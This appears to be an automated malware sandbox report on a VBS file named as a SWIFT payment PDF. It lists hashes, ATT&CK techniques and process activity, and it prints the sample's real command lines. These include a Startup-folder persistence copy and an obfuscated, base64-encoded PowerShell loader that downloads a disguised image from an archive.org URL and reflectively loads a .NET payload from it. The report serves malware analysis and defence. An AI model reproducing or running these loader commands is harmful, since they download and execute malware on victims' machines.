162bc0224d6edb13077ab6483e8e7d507a6a4805945a9758595f57028f5683d8

General

Target

SWIFT 103 202410071251443120 071024-pdf.vbs
Size

192KB
MD5

0f65fc79f42cc4c38a78b4c38411e98f
SHA1

4b6432ade0231ca6849a30f1ab88e4bf2419ace5
SHA256

162bc0224d6edb13077ab6483e8e7d507a6a4805945a9758595f57028f5683d8
SHA512

cd13f395e20fcc247015ae12da6dd653d810258e0b83a8ee8fb6eaba9213eba7fda9d0cc027b93ec5d2e81f44fe4c4ae53ed403dddba91cd46f374a72ffc5112
SSDEEP

3072:C5XV+GVQUD9JyGdr9blygBDgt5ptGwOnCL53EBmC75o6dIY2lruQ:CbDBDGGp9bSomC75o6d2liQ

Score

10^/10

discovery execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://ia600102.us.archive.org/32/items/detah-note-v_202410/DetahNote_V.jpg%20

exe.dropper

https://ia600102.us.archive.org/32/items/detah-note-v_202410/DetahNote_V.jpg%20

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	2792	powershell.exe
6	2792	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2820	powershell.exe
2780	powershell.exe
2792	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\catolicismo.vbs	WScript.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\catolicismo.vbs	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2360	PING.EXE
2704	cmd.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2360	PING.EXE

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2820	powershell.exe
2780	powershell.exe
2792	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2820	powershell.exe
Token: SeDebugPrivilege	2780	powershell.exe
Token: SeDebugPrivilege	2792	powershell.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 2980 wrote to memory of 2704	2980	WScript.exe	29
PID 2980 wrote to memory of 2704	2980	WScript.exe	29
PID 2980 wrote to memory of 2704	2980	WScript.exe	29
PID 2704 wrote to memory of 2360	2704	cmd.exe	31
PID 2704 wrote to memory of 2360	2704	cmd.exe	31
PID 2704 wrote to memory of 2360	2704	cmd.exe	31
PID 2704 wrote to memory of 2820	2704	cmd.exe	32
PID 2704 wrote to memory of 2820	2704	cmd.exe	32
PID 2704 wrote to memory of 2820	2704	cmd.exe	32
PID 2980 wrote to memory of 2780	2980	WScript.exe	33
PID 2980 wrote to memory of 2780	2980	WScript.exe	33
PID 2980 wrote to memory of 2780	2980	WScript.exe	33
PID 2780 wrote to memory of 2792	2780	powershell.exe	35
PID 2780 wrote to memory of 2792	2780	powershell.exe	35
PID 2780 wrote to memory of 2792	2780	powershell.exe	35

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\SWIFT 103 202410071251443120 071024-pdf.vbs"
1⤵
- Drops startup file
- Suspicious use of WriteProcessMemory
PID:2980
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\SWIFT 103 202410071251443120 071024-pdf.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.omsicilotac.vbs')')
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:2704
- - C:\Windows\system32\PING.EXE
    ping 127.0.0.1 -n 10
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2360
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\SWIFT 103 202410071251443120 071024-pdf.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.omsicilotac.vbs')')
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2820
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiAoICRzaGVMTGlkWzFdKyRzSGVsTGlEWzEzXSsnWCcpKCgoJ2loTmltYWdlVXJsID0gaW9FaHR0cHM6Ly9pYTYwMDEwMi51cy5hcmNoaXZlLm9yZy8zMi9pdGVtcy9kZXRhaC1ub3RlLXZfMjAyNDEwL0RldGFoTicrJ290ZV9WLmpwZyBpb0U7aWhOd2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDtpaE5pbWFnZUJ5dGVzID0gaWhOd2ViQ2xpZW50LkRvd25sb2FkRGF0YShpaE5pbWFnZVVybCcrJyk7aWhOaW1hZ2VUZXh0ID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTonKyc6VVRGOC5HZXRTdHJpbmcoaWhOaW1hZ2VCeXRlcyk7aWhOc3RhcnRGbGFnID0gaW9FPDxCQVNFNjRfU1RBUlQ+PmlvRTtpaE4nKydlbmRGbGFnID0nKycgaW9FPDxCQVNFNjRfRU5EPj5pb0U7aWhOc3RhcnRJbmRleCA9IGloTmltJysnYWdlVGV4dC5JbmRleE8nKydmKGloTnN0YXJ0RmxhZyk7aWhOZW5kSW5kZXggPSBpaCcrJ05pbWFnZVRleHQuSW5kZXhPZihpaE5lbmRGbGFnKTtpaE5zdGFydEluZGV4IC1nZSAwIC1hbmQgaScrJ2hOZW5kSW5kZXggLWd0IGloTnN0YXJ0SW5kZXg7aWhOc3RhcnRJbmRleCArPSBpaE5zdGFydEZsYWcuTGVuZ3RoO2loTmJhc2U2NExlbmd0aCA9IGloTmVuZEluZGV4IC0gaWhOc3RhcnRJbmRleDtpaCcrJ05iYXNlNjRDb21tYW5kID0gaWhOaW1hZ2VUZXh0LlN1YnN0cmluZyhpaCcrJ05zdGFydEluZGV4LCBpaE5iYXNlNjRMZW5ndGgpO2loTmNvbW1hbmRCeXRlcyAnKyc9IFtTeXN0ZW0uQ29udmVydF06OkYnKydyb21CYXNlNjRTdHJpbmcoaWhOYmFzZTY0Q29tbWFuZCk7aWhObG9hZGUnKydkQXNzZW0nKydibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKGloTmNvbScrJ21hbmRCeXRlcyk7aWhOdmFpTWV0aG9kID0gW2RubGliLklPLkgnKydvbWVdLkdldCcrJ01ldGhvZChpb0VWQUlpb0UpO2loTnZhaU1ldGhvZC5JbnZva2UoaWhObnVsbCwgQChpb0UwL2Z4RXVQL2QvZWUuZXRzYXAvLzpzcCcrJ3R0aGlvRSwgaW9FZGVzYXRpdmFkb2lvRSwgaW9FZGVzJysnYXRpdmFkb2lvRSwgaW9FZGVzYXRpdmFkb2lvRSwgaW9FQWRkSW5Qcm8nKydjZXNzMzJpb0UsIGlvRWRlc2F0aXZhZG9pb0UsIGlvRWRlc2F0aXZhZG9pb0UpKTsnKSAtY3JlcExBQ0UnaWhOJyxbY2hhUl0zNi1yRVBsYWNFICAnaW9FJyxbY2hhUl0zOSkp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2780
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ". ( $sheLLid[1]+$sHelLiD[13]+'X')((('ihNimageUrl = ioEhttps://ia600102.us.archive.org/32/items/detah-note-v_202410/DetahN'+'ote_V.jpg ioE;ihNwebClient = New-Object System.Net.WebClient;ihNimageBytes = ihNwebClient.DownloadData(ihNimageUrl'+');ihNimageText = [System.Text.Encoding]:'+':UTF8.GetString(ihNimageBytes);ihNstartFlag = ioE<<BASE64_START>>ioE;ihN'+'endFlag ='+' ioE<<BASE64_END>>ioE;ihNstartIndex = ihNim'+'ageText.IndexO'+'f(ihNstartFlag);ihNendIndex = ih'+'NimageText.IndexOf(ihNendFlag);ihNstartIndex -ge 0 -and i'+'hNendIndex -gt ihNstartIndex;ihNstartIndex += ihNstartFlag.Length;ihNbase64Length = ihNendIndex - ihNstartIndex;ih'+'Nbase64Command = ihNimageText.Substring(ih'+'NstartIndex, ihNbase64Length);ihNcommandBytes '+'= [System.Convert]::F'+'romBase64String(ihNbase64Command);ihNloade'+'dAssem'+'bly = [System.Reflection.Assembly]::Load(ihNcom'+'mandBytes);ihNvaiMethod = [dnlib.IO.H'+'ome].Get'+'Method(ioEVAIioE);ihNvaiMethod.Invoke(ihNnull, @(ioE0/fxEuP/d/ee.etsap//:sp'+'tthioE, ioEdesativadoioE, ioEdes'+'ativadoioE, ioEdesativadoioE, ioEAddInPro'+'cess32ioE, ioEdesativadoioE, ioEdesativadoioE));') -crepLACE'ihN',[chaR]36-rEPlacE 'ioE',[chaR]39))"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2792

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Remote System Discovery

1

T1018

System Information Discovery

1

T1082

System Network Configuration Discovery

1

T1016

Internet Connection Discovery

1

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
614fc9c8545246be81223f010b09e680

SHA1
13aaa296534f69bb35d1df21b1af92cf122b7ebb

SHA256
f944420108b5c100e608502faf14d8d7fcdc76a50b7cf0e48700c8f2a22bbcc2

SHA512
3d8ef5e11a56aabb9a20703308b7a608f1dbaa92b3981bda514c5ea660279df4df61ca082e4ae73a4632ce81dc21760a712b5eaa0839eeb34ba7f775f482b7ef

Download Submit
memory/2780-19-0x000000001B270000-0x000000001B552000-memory.dmp

Filesize
2.9MB

Download
memory/2780-20-0x0000000002560000-0x0000000002568000-memory.dmp

Filesize
32KB

Download
memory/2820-5-0x000007FEF5EFE000-0x000007FEF5EFF000-memory.dmp

Filesize
4KB

Download
memory/2820-6-0x000000001B1E0000-0x000000001B4C2000-memory.dmp

Filesize
2.9MB

Download
memory/2820-7-0x000007FEF5C40000-0x000007FEF65DD000-memory.dmp

Filesize
9.6MB

Download
memory/2820-8-0x000007FEF5C40000-0x000007FEF65DD000-memory.dmp

Filesize
9.6MB

Download
memory/2820-10-0x000007FEF5C40000-0x000007FEF65DD000-memory.dmp

Filesize
9.6MB

Download
memory/2820-9-0x0000000002310000-0x0000000002318000-memory.dmp

Filesize
32KB

Download
memory/2820-11-0x000007FEF5C40000-0x000007FEF65DD000-memory.dmp

Filesize
9.6MB

Download
memory/2820-12-0x000007FEF5C40000-0x000007FEF65DD000-memory.dmp

Filesize
9.6MB

Download
memory/2820-13-0x000007FEF5C40000-0x000007FEF65DD000-memory.dmp

Filesize
9.6MB

Download

Analysis

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